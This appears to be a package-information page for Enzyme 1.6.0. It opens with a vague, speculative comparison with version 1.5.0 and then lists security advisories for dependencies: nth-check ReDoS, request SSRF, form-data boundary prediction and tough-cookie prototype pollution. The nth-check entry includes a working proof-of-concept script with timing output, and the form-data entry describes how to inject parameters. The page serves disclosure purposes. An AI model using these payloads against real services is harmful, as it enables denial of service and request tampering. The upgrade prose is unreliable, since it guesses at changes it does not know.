Enzyme version 1.6.0 introduces subtle but potentially impactful improvements over its predecessor, version 1.5.0, focusing on enhancing the developer experience for React component testing. While the core dependencies such as Cheerio, Sinon, and Underscore remain consistent, ensuring familiar functionality, the release date difference signifies underlying refinements and stabilization efforts. Both versions maintain compatibility with React versions 0.13.x and 0.14.x, making them suitable for projects on these React versions. The development dependencies also remain the same, suggesting continuous focus on code quality, linting (with ESLint and Airbnb configurations), and comprehensive test coverage utilizing Mocha, Chai, and Istanbul.
Crucially, developers upgrading to 1.6.0 should anticipate a more polished and potentially bug-fixed environment. The update likely involves enhancements to existing features or internal optimizations. Given the unchanged dependency list, the primary advantage lies in stability and minor feature enhancements. For teams already using Enzyme for React testing, upgrading to 1.6.0 is recommended to leverage potential improvements and ensure a robust testing workflow. Developers should consult the changelog for specific refinements and bug fixes included in this version. The license remains MIT across both, and the author and repository details suggest contuining support and enhancement by the Airbnb team.
All the vulnerabilities related to the version 1.6.0 of the package
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))?
with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Server-Side Request Forgery in Request
The request
package through 2.88.2 for Node.js and the @cypress/request
package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: The request
package is no longer supported by the maintainer.
form-data uses unsafe random function in form-data for choosing boundary
form-data uses Math.random()
to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.
This is largely the same vulnerability as was recently found in undici
by parrot409
-- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.
The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347
An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id
header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random()
is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)
PoC here: https://github.com/benweissmann/CVE-2025-7783-poc
Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).
For an application to be vulnerable, it must:
form-data
to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
tough-cookie Prototype Pollution vulnerability
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. This issue arises from the manner in which the objects are initialized.